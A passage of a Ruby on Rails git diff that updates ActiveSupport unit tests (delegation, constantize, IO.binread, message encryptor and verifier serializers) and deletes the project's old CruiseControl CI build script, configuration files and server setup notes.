"<data><![CDATA[]]></data>" - + assert_equal "", Hash.from_xml(xml)["data"] end - + def test_xsd_like_types_from_xml bacon_xml = <<-EOT <bacon> @@ -1004,7 +1004,7 @@ class HashToXmlTest < Test::Unit::TestCase assert_equal expected_product_hash, Hash.from_xml(product_xml)["product"] end - + def test_should_use_default_value_for_unknown_key hash_wia = HashWithIndifferentAccess.new(3) assert_equal 3, hash_wia[:new_key] diff --git a/activesupport/test/core_ext/io_test.rb b/activesupport/test/core_ext/io_test.rb new file mode 100644 index 0000000000..b9abf685da --- /dev/null +++ b/activesupport/test/core_ext/io_test.rb @@ -0,0 +1,23 @@ +require 'abstract_unit' + +require 'active_support/core_ext/io' + +class IOTest < Test::Unit::TestCase + def test_binread_one_arg + assert_equal File.read(__FILE__), IO.binread(__FILE__) + end + + def test_binread_two_args + assert_equal File.read(__FILE__).bytes.first(10).pack('C*'), + IO.binread(__FILE__, 10) + end + + def test_binread_three_args + actual = IO.binread(__FILE__, 5, 10) + expected = File.open(__FILE__, 'rb') { |f| + f.seek 10 + f.read 5 + } + assert_equal expected, actual + end +end diff --git a/activesupport/test/core_ext/module_test.rb b/activesupport/test/core_ext/module_test.rb index a95cf1591f..f11bf3dc69 100644 --- a/activesupport/test/core_ext/module_test.rb +++ b/activesupport/test/core_ext/module_test.rb @@ -26,11 +26,20 @@ module Yz end end -Somewhere = Struct.new(:street, :city) +Somewhere = Struct.new(:street, :city) do + attr_accessor :name +end -Someone = Struct.new(:name, :place) do +class Someone < Struct.new(:name, :place) delegate :street, :city, :to_f, :to => :place + delegate :name=, :to => :place, :prefix => true delegate :upcase, :to => "place.city" + + FAILED_DELEGATE_LINE = __LINE__ + 1 + delegate :foo, :to => :place + + FAILED_DELEGATE_LINE_2 = __LINE__ + 1 + delegate :bar, :to => :place, :allow_nil => true end Invoice = Struct.new(:client) do @@ -69,6 +78,11 @@ class ModuleTest < Test::Unit::TestCase assert_equal "Chicago", @david.city end + def test_delegation_to_assignment_method + @david.place_name = "Fred" + assert_equal "Fred", @david.place.name + end + def test_delegation_down_hierarchy assert_equal "CHICAGO", @david.upcase end @@ -164,6 +178,26 @@ class ModuleTest < Test::Unit::TestCase end end + def test_delegation_exception_backtrace + someone = Someone.new("foo", "bar") + someone.foo + rescue NoMethodError => e + file_and_line = "#{__FILE__}:#{Someone::FAILED_DELEGATE_LINE}" + # We can't simply check the first line of the backtrace, because JRuby reports the call to __send__ in the backtrace. + assert e.backtrace.any?{|a| a.include?(file_and_line)}, + "[#{e.backtrace.inspect}] did not include [#{file_and_line}]" + end + + def test_delegation_exception_backtrace_with_allow_nil + someone = Someone.new("foo", "bar") + someone.bar + rescue NoMethodError => e + file_and_line = "#{__FILE__}:#{Someone::FAILED_DELEGATE_LINE_2}" + # We can't simply check the first line of the backtrace, because JRuby reports the call to __send__ in the backtrace. + assert e.backtrace.any?{|a| a.include?(file_and_line)}, + "[#{e.backtrace.inspect}] did not include [#{file_and_line}]" + end + def test_parent assert_equal Yz::Zy, Yz::Zy::Cd.parent assert_equal Yz, Yz::Zy.parent diff --git a/activesupport/test/core_ext/object/to_query_test.rb b/activesupport/test/core_ext/object/to_query_test.rb index 84da52f4bf..c146f6cc9b 100644 --- a/activesupport/test/core_ext/object/to_query_test.rb +++ b/activesupport/test/core_ext/object/to_query_test.rb @@ -1,6 +1,7 @@ require 'abstract_unit' require 'active_support/ordered_hash' require 'active_support/core_ext/object/to_query' +require 'active_support/core_ext/string/output_safety.rb' class ToQueryTest < Test::Unit::TestCase def test_simple_conversion @@ -11,6 +12,14 @@ class ToQueryTest < Test::Unit::TestCase assert_query_equal 'a%3Ab=c+d', 'a:b' => 'c d' end + def test_html_safe_parameter_key + assert_query_equal 'a%3Ab=c+d', 'a:b'.html_safe => 'c d' + end + + def test_html_safe_parameter_value + assert_query_equal 'a=%5B10%5D', 'a' => '[10]'.html_safe + end + def test_nil_parameter_value empty = Object.new def empty.to_param; nil end diff --git a/activesupport/test/core_ext/object_and_class_ext_test.rb b/activesupport/test/core_ext/object_and_class_ext_test.rb index beb371d987..782a01213d 100644 --- a/activesupport/test/core_ext/object_and_class_ext_test.rb +++ b/activesupport/test/core_ext/object_and_class_ext_test.rb @@ -99,13 +99,13 @@ class ObjectTryTest < Test::Unit::TestCase def test_nonexisting_method method = :undefined_method assert !@string.respond_to?(method) - assert_nil @string.try(method) + assert_raise(NoMethodError) { @string.try(method) } end def test_nonexisting_method_with_arguments method = :undefined_method assert !@string.respond_to?(method) - assert_nil @string.try(method, 'llo', 'y') + assert_raise(NoMethodError) { @string.try(method, 'llo', 'y') } end def test_valid_method diff --git a/activesupport/test/core_ext/string_ext_test.rb b/activesupport/test/core_ext/string_ext_test.rb index 18a86e08f5..5c1dddaf96 100644 --- a/activesupport/test/core_ext/string_ext_test.rb +++ b/activesupport/test/core_ext/string_ext_test.rb @@ -2,15 +2,30 @@ require 'date' require 'abstract_unit' require 'inflector_test_cases' +require 'constantize_test_cases' require 'active_support/inflector' require 'active_support/core_ext/string' require 'active_support/time' -require 'active_support/core_ext/kernel/reporting' require 'active_support/core_ext/string/strip' +require 'active_support/core_ext/string/output_safety' + +module Ace + module Base + class Case + end + end +end class StringInflectionsTest < Test::Unit::TestCase include InflectorTestCases + include ConstantizeTestCases + + def test_erb_escape + string = [192, 60].pack('CC') + expected = 192.chr + "<" + assert_equal expected, ERB::Util.html_escape(string) + end def test_strip_heredoc_on_an_empty_string assert_equal '', ''.strip_heredoc @@ -286,6 +301,18 @@ class StringInflectionsTest < Test::Unit::TestCase "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding('UTF-8').truncate(10) end end + + def test_constantize + run_constantize_tests_on do |string| + string.constantize + end + end + + def test_safe_constantize + run_safe_constantize_tests_on do |string| + string.safe_constantize + end + end end class StringBehaviourTest < Test::Unit::TestCase diff --git a/activesupport/test/core_ext/time_ext_test.rb b/activesupport/test/core_ext/time_ext_test.rb index c4c4381957..ab9be4b18b 100644 --- a/activesupport/test/core_ext/time_ext_test.rb +++ b/activesupport/test/core_ext/time_ext_test.rb @@ -764,7 +764,10 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase def test_case_equality assert Time === Time.utc(2000) assert Time === ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC']) + assert Time === Class.new(Time).utc(2000) assert_equal false, Time === DateTime.civil(2000) + assert_equal false, Class.new(Time) === Time.utc(2000) + assert_equal false, Class.new(Time) === ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC']) end def test_all_day diff --git a/activesupport/test/dependencies_test.rb b/activesupport/test/dependencies_test.rb index b4edf0f51d..fe8f51e11a 100644 --- a/activesupport/test/dependencies_test.rb +++ b/activesupport/test/dependencies_test.rb @@ -1,7 +1,6 @@ require 'abstract_unit' require 'pp' require 'active_support/dependencies' -require 'active_support/core_ext/kernel/reporting' module ModuleWithMissing mattr_accessor :missing_count @@ -521,6 +520,24 @@ class DependenciesTest < Test::Unit::TestCase ActiveSupport::Dependencies.autoload_once_paths = [] end + def test_autoload_once_pathnames_do_not_add_to_autoloaded_constants + with_autoloading_fixtures do + pathnames = ActiveSupport::Dependencies.autoload_paths.collect{|p| Pathname.new(p)} + ActiveSupport::Dependencies.autoload_paths = pathnames + ActiveSupport::Dependencies.autoload_once_paths = pathnames + + assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder") + assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass") + assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder) + + 1 if ModuleFolder::NestedClass # 1 if to avoid warning + assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass) + end + ensure + Object.class_eval { remove_const :ModuleFolder } + ActiveSupport::Dependencies.autoload_once_paths = [] + end + def test_application_should_special_case_application_controller with_autoloading_fixtures do require_dependency 'application' diff --git a/activesupport/test/inflector_test.rb b/activesupport/test/inflector_test.rb index b9e299af75..5c956e0075 100644 --- a/activesupport/test/inflector_test.rb +++ b/activesupport/test/inflector_test.rb @@ -2,16 +2,11 @@ require 'abstract_unit' require 'active_support/inflector' require 'inflector_test_cases' - -module Ace - module Base - class Case - end - end -end +require 'constantize_test_cases' class InflectorTest < Test::Unit::TestCase include InflectorTestCases + include ConstantizeTestCases def test_pluralize_plurals assert_equal "plurals", ActiveSupport::Inflector.pluralize("plurals") @@ -282,17 +277,15 @@ class InflectorTest < Test::Unit::TestCase end def test_constantize - assert_nothing_raised { assert_equal Ace::Base::Case, ActiveSupport::Inflector.constantize("Ace::Base::Case") } - assert_nothing_raised { assert_equal Ace::Base::Case, ActiveSupport::Inflector.constantize("::Ace::Base::Case") } - assert_nothing_raised { assert_equal InflectorTest, ActiveSupport::Inflector.constantize("InflectorTest") } - assert_nothing_raised { assert_equal InflectorTest, ActiveSupport::Inflector.constantize("::InflectorTest") } - assert_raise(NameError) { ActiveSupport::Inflector.constantize("UnknownClass") } - assert_raise(NameError) { ActiveSupport::Inflector.constantize("An invalid string") } - assert_raise(NameError) { ActiveSupport::Inflector.constantize("InvalidClass\n") } + run_constantize_tests_on do |string| + ActiveSupport::Inflector.constantize(string) + end end - - def test_constantize_does_lexical_lookup - assert_raise(NameError) { ActiveSupport::Inflector.constantize("Ace::Base::InflectorTest") } + + def test_safe_constantize + run_safe_constantize_tests_on do |string| + ActiveSupport::Inflector.safe_constantize(string) + end end def test_ordinal diff --git a/activesupport/test/json/decoding_test.rb b/activesupport/test/json/decoding_test.rb index 201729a6c2..d1454902e5 100644 --- a/activesupport/test/json/decoding_test.rb +++ b/activesupport/test/json/decoding_test.rb @@ -2,7 +2,6 @@ require 'abstract_unit' require 'active_support/json' require 'active_support/time' -require 'active_support/core_ext/kernel/reporting' class TestJSONDecoding < ActiveSupport::TestCase TESTS = { diff --git a/activesupport/test/message_encryptor_test.rb b/activesupport/test/message_encryptor_test.rb index e45d5ecd59..83a19f8106 100644 --- a/activesupport/test/message_encryptor_test.rb +++ b/activesupport/test/message_encryptor_test.rb @@ -8,8 +8,20 @@ rescue LoadError, NameError else require 'active_support/time' +require 'active_support/json' -class MessageEncryptorTest < Test::Unit::TestCase +class MessageEncryptorTest < ActiveSupport::TestCase + + class JSONSerializer + def dump(value) + ActiveSupport::JSON.encode(value) + end + + def load(value) + ActiveSupport::JSON.decode(value) + end + end + def setup @encryptor = ActiveSupport::MessageEncryptor.new(SecureRandom.hex(64)) @data = { :some => "data", :now => Time.local(2010) } @@ -38,8 +50,19 @@ class MessageEncryptorTest < Test::Unit::TestCase message = @encryptor.encrypt_and_sign(@data) assert_equal @data, @encryptor.decrypt_and_verify(message) end + + def test_alternative_serialization_method + encryptor = ActiveSupport::MessageEncryptor.new(SecureRandom.hex(64), :serializer => JSONSerializer.new) + message = encryptor.encrypt_and_sign({ :foo => 123, 'bar' => Time.utc(2010) }) + assert_equal encryptor.decrypt_and_verify(message), { "foo" => 123, "bar" => "2010-01-01T00:00:00Z" } + end - + def test_digest_algorithm_as_second_parameter_deprecation + assert_deprecated(/options hash/) do + ActiveSupport::MessageEncryptor.new(SecureRandom.hex(64), 'aes-256-cbc') + end + end + private def assert_not_decrypted(value) assert_raise(ActiveSupport::MessageEncryptor::InvalidMessage) do diff --git a/activesupport/test/message_verifier_test.rb b/activesupport/test/message_verifier_test.rb index 4821311244..35747abe5b 100644 --- a/activesupport/test/message_verifier_test.rb +++ b/activesupport/test/message_verifier_test.rb @@ -8,8 +8,20 @@ rescue LoadError, NameError else require 'active_support/time' +require 'active_support/json' -class MessageVerifierTest < Test::Unit::TestCase +class MessageVerifierTest < ActiveSupport::TestCase + + class JSONSerializer + def dump(value) + ActiveSupport::JSON.encode(value) + end + + def load(value) + ActiveSupport::JSON.decode(value) + end + end + def setup @verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!") @data = { :some => "data", :now => Time.local(2010) } @@ -31,6 +43,18 @@ class MessageVerifierTest < Test::Unit::TestCase assert_not_verified("#{data}--#{hash.reverse}") assert_not_verified("purejunk") end + + def test_alternative_serialization_method + verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!", :serializer => JSONSerializer.new) + message = verifier.generate({ :foo => 123, 'bar' => Time.utc(2010) }) + assert_equal verifier.verify(message), { "foo" => 123, "bar" => "2010-01-01T00:00:00Z" } + end + + def test_digest_algorithm_as_second_parameter_deprecation + assert_deprecated(/options hash/) do + ActiveSupport::MessageVerifier.new("secret", "SHA1") + end + end def assert_not_verified(message) assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do diff --git a/activesupport/test/multibyte_utils_test.rb b/activesupport/test/multibyte_utils_test.rb index 1dff944922..0a2f20d282 100644 --- a/activesupport/test/multibyte_utils_test.rb +++ b/activesupport/test/multibyte_utils_test.rb @@ -2,7 +2,6 @@ require 'abstract_unit' require 'multibyte_test_helpers' -require 'active_support/core_ext/kernel/reporting' class MultibyteUtilsTest < ActiveSupport::TestCase include MultibyteTestHelpers diff --git a/activesupport/test/notifications_test.rb b/activesupport/test/notifications_test.rb index cc0dc564f7..884ee61547 100644 --- a/activesupport/test/notifications_test.rb +++ b/activesupport/test/notifications_test.rb @@ -1,4 +1,5 @@ require 'abstract_unit' +require 'active_support/core_ext/module/delegation' module Notifications class TestCase < ActiveSupport::TestCase diff --git a/activesupport/test/ordered_hash_test.rb b/activesupport/test/ordered_hash_test.rb index bf851dbcbc..0b5f912dc4 100644 --- a/activesupport/test/ordered_hash_test.rb +++ b/activesupport/test/ordered_hash_test.rb @@ -329,4 +329,9 @@ class OrderedHashTest < Test::Unit::TestCase assert_equal expected, @ordered_hash.invert assert_equal @values.zip(@keys), @ordered_hash.invert.to_a end + + def test_extractable + @ordered_hash[:rails] = "snowman" + assert_equal @ordered_hash, [1, 2, @ordered_hash].extract_options! + end end diff --git a/activesupport/test/rescuable_test.rb b/activesupport/test/rescuable_test.rb index bf4f5265ef..c28ffa50f2 100644 --- a/activesupport/test/rescuable_test.rb +++ b/activesupport/test/rescuable_test.rb @@ -70,7 +70,7 @@ class CoolStargate < Stargate end -class RescueableTest < Test::Unit::TestCase +class RescuableTest < Test::Unit::TestCase def setup @stargate = Stargate.new @cool_stargate = CoolStargate.new diff --git a/activesupport/test/safe_buffer_test.rb b/activesupport/test/safe_buffer_test.rb index 46bc0d7a34..8f77999d25 100644 --- a/activesupport/test/safe_buffer_test.rb +++ b/activesupport/test/safe_buffer_test.rb @@ -80,14 +80,12 @@ class SafeBufferTest < ActiveSupport::TestCase end test "Should escape dirty buffers on add" do - dirty = @buffer clean = "hello".html_safe @buffer.gsub!('', '<>') assert_equal "hello<>", clean + @buffer end test "Should concat as a normal string when dirty" do - dirty = @buffer clean = "hello".html_safe @buffer.gsub!('', '<>') assert_equal "<>hello", @buffer + clean @@ -108,4 +106,10 @@ class SafeBufferTest < ActiveSupport::TestCase test "should not fail if the returned object is not a string" do assert_kind_of NilClass, @buffer.slice("chipchop") end + + test "Should initialize @dirty to false for new instance when sliced" do + dirty = @buffer[0,0].send(:dirty?) + assert_not_nil dirty + assert !dirty + end end diff --git a/activesupport/test/test_test.rb b/activesupport/test/test_test.rb index 5bd995aa32..f880052786 100644 --- a/activesupport/test/test_test.rb +++ b/activesupport/test/test_test.rb @@ -1,5 +1,4 @@ require 'abstract_unit' -require 'active_support/core_ext/kernel/reporting' class AssertDifferenceTest < ActiveSupport::TestCase def setup diff --git a/activesupport/test/xml_mini_test.rb b/activesupport/test/xml_mini_test.rb index e2b90ae16e..dde17ea403 100644 --- a/activesupport/test/xml_mini_test.rb +++ b/activesupport/test/xml_mini_test.rb @@ -50,49 +50,49 @@ module XmlMiniTest def test_rename_key_does_not_dasherize_multiple_trailing_underscores assert_equal "id__", ActiveSupport::XmlMini.rename_key("id__") - end + end end class ToTagTest < ActiveSupport::TestCase def assert_xml(xml) assert_equal xml, @options[:builder].target! end - - setup do + + def setup @xml = ActiveSupport::XmlMini @options = {:skip_instruct => true, :builder => Builder::XmlMarkup.new} end - + test "#to_tag accepts a callable object and passes options with the builder" do @xml.to_tag(:some_tag, lambda {|o| o[:builder].br }, @options) assert_xml "<br/>" end - + test "#to_tag accepts a callable object and passes options and tag name" do @xml.to_tag(:tag, lambda {|o, t| o[:builder].b(t) }, @options) assert_xml "<b>tag</b>" end - + test "#to_tag accepts an object responding to #to_xml and passes the options, where :root is key" do obj = Object.new obj.instance_eval do def to_xml(options) options[:builder].yo(options[:root].to_s) end end - + @xml.to_tag(:tag, obj, @options) assert_xml "<yo>tag</yo>" end - + test "#to_tag accepts arbitrary objects responding to #to_str" do @xml.to_tag(:b, "Howdy", @options) assert_xml "<b>Howdy</b>" end - + test "#to_tag should dasherize the space when passed a string with spaces as a key" do @xml.to_tag("New York", 33, @options) assert_xml "<New---York type=\"integer\">33</New---York>" end - + test "#to_tag should dasherize the space when passed a symbol with spaces as a key" do @xml.to_tag(:"New York", 33, @options) assert_xml "<New---York type=\"integer\">33</New---York>" diff --git a/bin/rails b/bin/rails deleted file mode 100755 index f9725d78d0..0000000000 --- a/bin/rails +++ /dev/null @@ -1,7 +0,0 @@ -#!/usr/bin/env ruby - -if File.exists?(File.join(File.expand_path('../..', __FILE__), '.git')) - railties_path = File.expand_path('../../railties/lib', __FILE__) - $:.unshift(railties_path) -end -require "rails/cli" diff --git a/ci/ci_build.rb b/ci/ci_build.rb deleted file mode 100755 index 50f7f410fa..0000000000 --- a/ci/ci_build.rb +++ /dev/null @@ -1,181 +0,0 @@ -#!/usr/bin/env ruby -require 'fileutils' -include FileUtils - -def root_dir - @root_dir ||= File.expand_path('../..', __FILE__) -end - -def rake(*tasks) - tasks.each do |task| - cmd = "bundle exec rake #{task}" - puts "Running command: #{cmd}" - return false unless system(cmd) - end - true -end - -puts "[CruiseControl] Rails build" -build_results = {} - -# Install required version of bundler. -bundler_install_cmd = "sudo gem install bundler --no-ri --no-rdoc" -puts "Running command: #{bundler_install_cmd}" -build_results[:install_bundler] = system bundler_install_cmd - -cd root_dir do - puts - puts "[CruiseControl] Bundling gems" - puts - build_results[:bundle] = system 'bundle update' -end - -cd "#{root_dir}/activesupport" do - puts - puts "[CruiseControl] Building Active Support" - puts - build_results[:activesupport] = rake 'test' - build_results[:activesupport_isolated] = rake 'test:isolated' -end - -system "sudo rm -R #{root_dir}/railties/tmp" -cd "#{root_dir}/railties" do - puts - puts "[CruiseControl] Building Railties" - puts - build_results[:railties] = rake 'test' -end - -cd "#{root_dir}/actionpack" do - puts - puts "[CruiseControl] Building Action Pack" - puts - build_results[:actionpack] = rake 'test' - build_results[:actionpack_isolated] = rake 'test:isolated' -end - -cd "#{root_dir}/actionmailer" do - puts - puts "[CruiseControl] Building Action Mailer" - puts - build_results[:actionmailer] = rake 'test' - build_results[:actionmailer_isolated] = rake 'test:isolated' -end - -cd "#{root_dir}/activemodel" do - puts - puts "[CruiseControl] Building Active Model" - puts - build_results[:activemodel] = rake 'test' - build_results[:activemodel_isolated] = rake 'test:isolated' -end - -rm_f "#{root_dir}/activeresource/debug.log" -cd "#{root_dir}/activeresource" do - puts - puts "[CruiseControl] Building Active Resource" - puts - build_results[:activeresource] = rake 'test' - build_results[:activeresource_isolated] = rake 'test:isolated' -end - -rm_f "#{root_dir}/activerecord/debug.log" -cd "#{root_dir}/activerecord" do - puts - puts "[CruiseControl] Building Active Record with MySQL IM enabled" - puts - ENV['IM'] = 'true' - build_results[:activerecord_mysql_IM] = rake 'mysql:rebuild_databases', 'mysql:test' - build_results[:activerecord_mysql_isolated_IM] = rake 'mysql:rebuild_databases', 'mysql:isolated_test' -end - -cd "#{root_dir}/activerecord" do - puts - puts "[CruiseControl] Building Active Record with MySQL IM disabled" - puts - ENV['IM'] = 'false' - build_results[:activerecord_mysql] = rake 'mysql:rebuild_databases', 'mysql:test' - build_results[:activerecord_mysql_isolated] = rake 'mysql:rebuild_databases', 'mysql:isolated_test' -end - -cd "#{root_dir}/activerecord" do - puts - puts "[CruiseControl] Building Active Record with MySQL2 IM enabled" - puts - ENV['IM'] = 'true' - build_results[:activerecord_mysql2_IM] = rake 'mysql:rebuild_databases', 'mysql2:test' - build_results[:activerecord_mysql2_isolated_IM] = rake 'mysql:rebuild_databases', 'mysql2:isolated_test' -end - -cd "#{root_dir}/activerecord" do - puts - puts "[CruiseControl] Building Active Record with MySQL2 IM disabled" - puts - ENV['IM'] = 'false' - build_results[:activerecord_mysql2] = rake 'mysql:rebuild_databases', 'mysql2:test' - build_results[:activerecord_mysql2_isolated] = rake 'mysql:rebuild_databases', 'mysql2:isolated_test' -end - -cd "#{root_dir}/activerecord" do - puts - puts "[CruiseControl] Building Active Record with PostgreSQL IM enabled" - puts - ENV['IM'] = 'true' - build_results[:activerecord_postgresql8_IM] = rake 'postgresql:rebuild_databases', 'postgresql:test' - build_results[:activerecord_postgresql8_isolated_IM] = rake 'postgresql:rebuild_databases', 'postgresql:isolated_test' -end - -cd "#{root_dir}/activerecord" do - puts - puts "[CruiseControl] Building Active Record with PostgreSQL IM disabled" - puts - ENV['IM'] = 'false' - build_results[:activerecord_postgresql8] = rake 'postgresql:rebuild_databases', 'postgresql:test' - build_results[:activerecord_postgresql8_isolated] = rake 'postgresql:rebuild_databases', 'postgresql:isolated_test' -end - -cd "#{root_dir}/activerecord" do - puts - puts "[CruiseControl] Building Active Record with SQLite 3 IM enabled" - puts - ENV['IM'] = 'true' - build_results[:activerecord_sqlite3_IM] = rake 'sqlite3:test' - build_results[:activerecord_sqlite3_isolated_IM] = rake 'sqlite3:isolated_test' -end - -cd "#{root_dir}/activerecord" do - puts - puts "[CruiseControl] Building Active Record with SQLite 3 IM disabled" - puts - ENV['IM'] = 'false' - build_results[:activerecord_sqlite3] = rake 'sqlite3:test' - build_results[:activerecord_sqlite3_isolated] = rake 'sqlite3:isolated_test' -end - - -puts -puts "[CruiseControl] Build environment:" -puts "[CruiseControl] #{`cat /etc/issue`}" -puts "[CruiseControl] #{`uname -a`}" -puts "[CruiseControl] #{`ruby -v`}" -puts "[CruiseControl] #{`mysql --version`}" -puts "[CruiseControl] #{`pg_config --version`}" -puts "[CruiseControl] SQLite3: #{`sqlite3 -version`}" -`gem env`.each_line {|line| print "[CruiseControl] #{line}"} -puts "[CruiseControl] Bundled gems:" -`bundle show`.each_line {|line| print "[CruiseControl] #{line}"} -puts "[CruiseControl] Local gems:" -`gem list`.each_line {|line| print "[CruiseControl] #{line}"} - -failures = build_results.select { |key, value| value == false } - -if failures.empty? - puts - puts "[CruiseControl] Rails build finished sucessfully" - exit(0) -else - puts - puts "[CruiseControl] Rails build FAILED" - puts "[CruiseControl] Failed components: #{failures.map { |component| component.first }.join(', ')}" - exit(-1) -end diff --git a/ci/ci_setup_notes.txt b/ci/ci_setup_notes.txt deleted file mode 100644 index 890f9e8ef6..0000000000 --- a/ci/ci_setup_notes.txt +++ /dev/null @@ -1,140 +0,0 @@ -# Rails Continuous Integration Server Setup Notes -# This procedure was used to set up http://ci.rubyonrails.org on Ubuntu 8.04 -# It can be used as a guideline for setting up your own CI server against your local rails branches - -* Set up ci user: -# log in as root -$ adduser ci -enter user info and password -$ visudo -# give ci user same sudo rights as root - -* Disable root login: -# log in as ci -$ sudo vi /etc/shadow -# overwrite and disable encrypted root password to disable root login: -root:*:14001:0:99999:7::: - -* Change Hostname: -$ sudo vi /etc/hostname -change to correct hostname -$ sudo vi /etc/hosts -replace old hostname with the correct hostname -# reboot to use new hostname (and test reboot) -$ sudo shutdown -r now - -* Update aptitude: -$ sudo aptitude update - -* Use cinabox to perform rest of ruby/ccrb setup: -* https://github.com/thewoolleyman/cinabox/tree/master/README.txt - -# This is not yet properly supported by RubyGems... -# * Configure RubyGems to not require root access for gem installation -# $ vi ~/.profile -# # add this line at bottom: -# PATH="$HOME/.gem/ruby/1.8/bin:$PATH" -# $ sudo vi /etc/init.d/cruise -# # edit the start_cruise line to source CRUISE_USER/.profile: -# start_cruise "cd #{CRUISE_HOME} && source /home/#{CRUISE_USER}/.profile && ./cruise start -d" -# $ vi ~/.gemrc -# # add these lines: -# --- -# gemhome: /home/ci/.gem/ruby/1.8 -# gempath: -# - /home/ci/.gem/ruby/1.8 - -* If you did not configure no-root-gem installation via ~/.gemrc as shown above, then allow no-password sudo for gem installation: -$ sudo visudo -# add this line to bottom: -ci ALL=(ALL) NOPASSWD: ALL - -* Start ccrb via init script and check for default homepage at port 3333 - -* Install/setup nginx: -$ sudo aptitude install nginx -$ sudo vi /etc/nginx/sites-available/default -# Add the following entry at the top of the file above the 'server {' line: -upstream mongrel { - server 127.0.0.1:3333; -} - -# Change server_name entry to match server name - -# replace the contents of the root 'location / {}' block with the following entries: - proxy_pass http://mongrel; - proxy_redirect off; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Client-Verify SUCCESS; - proxy_read_timeout 65; - -# also comment default locations for /doc and /images -$ sudo /etc/init.d/nginx start - -* Add project to cruise (It will still fail until everything is set up): -$ cd ~/ccrb -$ ./cruise add rails -s git -r git://github.com/rails/rails.git # or the URI of your branch - -* Copy and configure cruise site config file: -$ cp ~/.cruise/projects/rails/work/ci/site_config.rb ~/.cruise/site_config.rb -# Edit ~/.cruise/site_config.rb as desired, for example: -ActionMailer::Base.smtp_settings = { - :address => "localhost", - :domain => "ci.yourdomain.com", -} -Configuration.dashboard_refresh_interval = 60.seconds -Configuration.dashboard_url = 'http://ci.yourdomain.com/' -Configuration.serialize_builds = true -Configuration.serialized_build_timeout = 1.hours -BuildReaper.number_of_builds_to_keep = 100 - -* Copy and configure cruise project config file -$ cp ~/.cruise/projects/rails/work/ci/cruise_config.rb ~/.cruise/projects/rails -$ vi ~/.cruise/projects/rails/cruise_config.rb: -# Edit ~/.cruise/projects/rails/cruise_config.rb as desired, for example: -Project.configure do |project| - project.build_command = 'ruby ci/ci_build.rb' - project.email_notifier.emails = ['recipient@yourdomain.com'] - project.email_notifier.from = 'sender@yourdomain.com' -end - -* Set up mysql -$ sudo aptitude install mysql-server-5.0 libmysqlclient-dev -# no password for mysql root user - -* setup sqlite 3 -$ sudo aptitude install sqlite3 libsqlite3-dev -# Note: there's some installation bugs with sqlite3-ruby 1.2.2 gem file permissions: -# http://www.icoretech.org/2008/07/06/no-such-file-to-load-sqlite3-database -# cd /usr/local/lib/ruby/gems/1.8/gems/sqlite3-ruby-1.2.2 && sudo find . -perm 0662 -exec chmod 664 {} \; - -* setup postgres -$ sudo aptitude install postgresql postgresql-server-dev-8.3 -$ sudo su - postgres -c 'createuser -s ci' - -* Install fcgi libraries -$ sudo apt-get install libfcgi-dev - -* Install memcached and start for first time (should start on reboot automatically) -$ sudo aptitude install memcached -$ sudo /etc/init.d/memcached start - -* Install and run GemInstaller to get all dependency gems -$ sudo gem install geminstaller -$ cd ~/.cruise/projects/rails/work -$ sudo geminstaller --config=ci/geminstaller.yml # turn up debugging with these options: --geminstaller-output=all --rubygems-output=all - -* Create ActiveRecord test databases for mysql -$ mysql -uroot -e 'grant all on *.* to rails@localhost;' -$ mysql -urails -e 'create database activerecord_unittest;' -$ mysql -urails -e 'create database activerecord_unittest2;' - -* Create ActiveRecord test databases for postgres -# cd to rails activerecord dir -$ rake postgresql:build_databases - -* Reboot and make sure everything is working -$ sudo shutdown -r now -$ http://ci.yourdomain.com diff --git a/ci/cruise_config.rb b/ci/cruise_config.rb deleted file mode 100644 index b64cd8aaea..0000000000 --- a/ci/cruise_config.rb +++ /dev/null @@ -1,9 +0,0 @@ -Project.configure do |project| - project.build_command = 'sudo gem update --system && ruby ci/ci_build.rb' - project.email_notifier.from = 'rails-ci@wyeworks.com' - - # project.campfire_notifier.account = 'rails' - # project.campfire_notifier.token = '' - # project.campfire_notifier.room = 'Rails 3' - # project.campfire_notifier.ssl = true -end diff --git a/ci/site.css b/ci/site.css deleted file mode 100644 index e771c5d1fd..0000000000 --- a/ci/site.css +++ /dev/null @@ -1,13 +0,0 @@ -/* this is a copy of /home/ci/.cruise/site.css, please make any changes to it there */ - -/* this is a copy of /home/ci/.cruise/site.css, please make any changes to it there */ - -/* if you'd like to add custom styles to cruise, add them here */ -/* the following will make successful builds green */ -a.success, a.success:visited { - color: #0A0; -} - -.build_success { - background-image: url(/images/green_gradient.png); -} diff --git a/ci/site_config.rb b/ci/site_config.rb deleted file mode 100644 index f9db39ed57..0000000000 --- a/ci/site_config.rb +++ /dev/null @@ -1,72 +0,0 @@ -# site_config.rb contains examples of various configuration options for the local installation -# of CruiseControl.rb. - -# YOU MUST RESTART YOUR CRUISE CONTROL SERVER FOR ANY CHANGES MADE HERE TO TAKE EFFECT!!! - -# EMAIL NOTIFICATION -# ------------------ - -# CruiseControl.rb can notify you about build status via email. It uses the Action Mailer component of Ruby on Rails -# framework. Obviously, Action Mailer needs to know how to send out email messages. -# If you have an SMTP server on your network, and it needs no authentication, write this in your site_config.rb: -# -ActionMailer::Base.smtp_settings = { - :address => "localhost", - :domain => "ci.rubyonrails.org", -} -# -# If you have no SMTP server at hand, you can configure email notification to use GMail SMTP server, as follows -# (of course, you'll need to create a GMail account): -# -# ActionMailer::Base.smtp_settings = { -# :address => "smtp.gmail.com", -# :port => 587, -# :domain => "yourdomain.com", -# :authentication => :plain, -# :user_name => "yourgmailaccount", -# :password => "yourgmailpassword" -# } -# -# The same approach works for other SMTP servers thet require authentication. Note that GMail's SMTP server runs on a -# non-standard port 587 (standard port for SMTP is 25). -# -# For further details about configuration of outgoing email, see Ruby On Rails documentation for ActionMailer::Base. - -# Other site-wide options are available through Configuration class: - -# Change how often CC.rb pings Subversion for new requests. 